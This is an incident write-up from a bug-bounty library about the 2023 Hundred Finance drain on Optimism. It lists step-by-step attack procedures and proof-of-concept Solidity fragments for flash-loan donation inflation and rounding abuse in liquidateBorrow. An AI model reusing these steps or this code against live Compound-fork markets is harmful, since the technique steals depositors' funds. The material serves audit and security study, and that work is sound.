# Hundred Finance: donation inflation and rounding drain $7M

Hundred Finance on Optimism drained of $7M via donation-inflated exchange rate plus rounding error in liquidateBorrow, letting attacker liquidate 1-wei positions for full collateral.

- Payout: Real-world hack
- Severity: critical
- Program: HundredFinance
- Analysis by: DeFiHackLabs
- Disclosed: 2023-04-15
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2023-04/HundredFinance_2_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20230415-hundredfinance-2
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:accounting-error vuln:flash-loan vuln:liquidation vuln:precision-loss vuln:share-inflation

**Target:** Compound-fork lending market (cToken/CEther) on Optimism
**Root cause:** Attacker donated WBTC to shrink hWBTC totalSupply to near-zero, inflating exchangeRateStored; then liquidateBorrow with a 1-wei repay amount rounded up to seize the entire collateral of a self-created tiny position.
**Steps:**
1. Flash loan 500 WBTC from Aave V3 via `flashLoanSimple`.
2. Redeem existing hWBTC balance, then in ETHDrain contract `hWBTC.mint(4 * 1e8)` and `hWBTC.redeem(hWBTC.totalSupply() - 2)` to leave totalSupply at minimum and inflate exchange rate.
3. Transfer WBTC to the precomputed CREATE2 drain address so the drain contract holds collateral.
4. Deploy ETHDrain/tokenDrain via CREATE2 with salt 0.
5. Compute repay amount via `getLiquidationRepayAmount` using inflated `exchangeRateStored` and 1.08 liquidation incentive, yielding ~1 wei.
6. Call `CEther.liquidateBorrow{value: liquidationRepayAmount}(drainAddress, hWBTC)` (or `hToken.liquidateBorrow(drain, amount, hWBTC)`) to seize the drain's collateral.
7. `hWBTC.redeem(1)` to withdraw remaining share; repeat for hSNX, hUSDC, hDAI, hUSDT, hSUSD, hFRAX.
8. Repay Aave flash loan; keep drained ETH/USDC/SNX/sUSD/USDT/DAI.
**How found:** Attacker recognized that exchangeRateStored is derived from cash/totalSupply and that liquidateBorrow's repay-amount rounding could be gamed when totalSupply is tiny; donation to a near-empty market inflates the rate so a 1-wei repay seizes outsized collateral.
**Exploitation:** Flash-borrowed 500 WBTC, used donation/rounding to make liquidateBorrow repay ~1 wei while seizing full collateral across all Hundred markets on Optimism, then repaid the flash loan and kept ~$7M in ETH and stablecoins.
**Escalation:** Repeated the same primitive across seven markets (ETH, SNX, USDC, DAI, USDT, sUSD, FRAX) in one transaction to maximize drained value.
**Insight:** On Compound forks, check whether liquidateBorrow's repay calculation rounds in the liquidator's favor when exchangeRate is inflated; a near-empty market plus a donation can turn a 1-wei repay into full collateral seizure.

## Proof of concept (copied exactly from the original report)

**Flashloan then drain each hToken via liquidation**

```
aaveV3.flashLoanSimple(address(this), address(WBTC), 500 * 1e8, new bytes(0), 0);

        emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18);
        emit log_named_decimal_uint(
            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
        emit log_named_decimal_uint("Attacker SNX balance after exploit", SNX.balanceOf(address(this)), SNX.decimals());
        emit log_named_decimal_uint(
            "Attacker sUSD balance after exploit", sUSD.balanceOf(address(this)), sUSD.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
        );
        emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
    }

    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initator,
        bytes calldata params
    ) external payable returns (bool) {
        hWBTC.redeem(hWBTC.balanceOf(address(this)));

        console.log("1. ETH Drain \r");
        ETHDrains();
        console.log("2. SNX Drain \r");
        tokenDrains(hSNX);
        console.log("3. USDC Drain \r");
        tokenDrains(hUSDC);
        console.log("4. DAI Drain \r");
        tokenDrains(hDAI);
        console.log("5. USDT Drain");
        tokenDrains(hUSDT);
        console.log("6. SUSD Drain");
        tokenDrains(hSUSD);
        console.log("7. FRAX Drain \r");
        tokenDrains(hFRAX);

        WBTC.approve(address(aaveV3), type(uint256).max);
        return true;
```

**Donation inflation: mint then redeem to 2 shares**

```
WBTC.approve(address(hWBTC), type(uint256).max);
        hWBTC.mint(4 * 1e8);
        hWBTC.redeem(hWBTC.totalSupply() - 2); // completing the initial deposit, the shares of hWBTC and the amount of WBTC in hWBTC are at a minimum
```

**Rounding liquidation repay amount calculation**

```
uint256 liquidateAmount = 1e18
            / (
                priceBorrowedMantissa * liquidationIncentiveMantissa
                    / (exchangeRate * hTokenAmount * priceCollateralMantissa / 1e18)
            ) + 1;
```

